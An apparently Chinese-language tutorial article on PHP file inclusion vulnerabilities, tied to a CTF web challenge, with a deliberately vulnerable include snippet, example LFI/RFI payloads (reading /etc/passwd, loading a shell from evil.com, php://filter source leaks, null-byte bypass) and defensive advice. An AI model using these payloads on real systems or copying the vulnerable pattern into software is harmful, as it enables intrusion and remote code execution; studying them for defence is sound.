深入解析PHP文件包含攻击原理
TOPIC SOURCE
CTF论剑场-(web21)一道很有质量的web题、反序列化
文件包含(File Inclusion)在 PHP 应用中常被当作便利的模块化手段,却也隐藏着最直接的代码执行入口。一次看似无害的 include,如果把外部输入直接拼接进去,攻击者便能把自己准备的脚本注入到服务器的执行流中。
攻击路径剖析
典型的漏洞代码往往长这样:
<?php
$user = $_GET['user'];
$file = $_GET['file'];
if ($user === 'admin') {
include $file; // ← 直接使用用户可控参数
}
?>
当 $user 满足 “admin” 时,include 就会把 $file 指向的任意文件拉进来。若服务器开启了 allow_url_include,甚至可以把远程 URL 当作本地文件读取,形成远程文件包含(RFI)。
攻击原理深度解读
PHP 在处理 include/require 时,会先解析路径字符串,再根据 include_path 与 open_basedir 的限制决定实际读取哪个文件。若路径中出现 php://input、data:// 或者 php://filter 等包装协议,攻击者可以将请求体、Base64 编码或压缩后的恶意代码直接喂给解释器。更隐蔽的做法是利用 ..(目录遍历)和 %00(空字节)绕过后缀检查,迫使解释器加载原本不在公开目录的配置文件或日志。
常见利用手法
- 本地文件包含(LFI):
file=../../../../etc/passwd读取系统密码文件。 - 远程文件包含(RFI):
file=http://evil.com/shell.php将外部 PHP 脚本直接执行。 - 包装协议注入:
file=php://filter/convert.base64-encode/resource=index.php以 Base64 形式泄露源码。 - 空字节终止:
file=../../config.php%00.jpg绕过扩展名检查。
防御要点
- 严格白名单:仅允许预定义的模块名或相对路径,拒绝任何包含
../、://、%00的字符。 - 禁用远程包含:在
php.ini中将allow_url_fopen与allow_url_include均设为Off。 - 使用
require_once配合固定路径常量,避免拼接用户输入。 - 开启
open_basedir将文件访问限制在业务目录内。 - 审计代码时关注所有
include/require、file_get_contents、readfile系列函数的参数来源。
真正的安全往往藏在细枝末节里,哪怕是一行看似无害的字符串拼接,也可能成为攻击者打开后门的钥匙。

参与讨论
暂无评论,快来发表你的观点吧!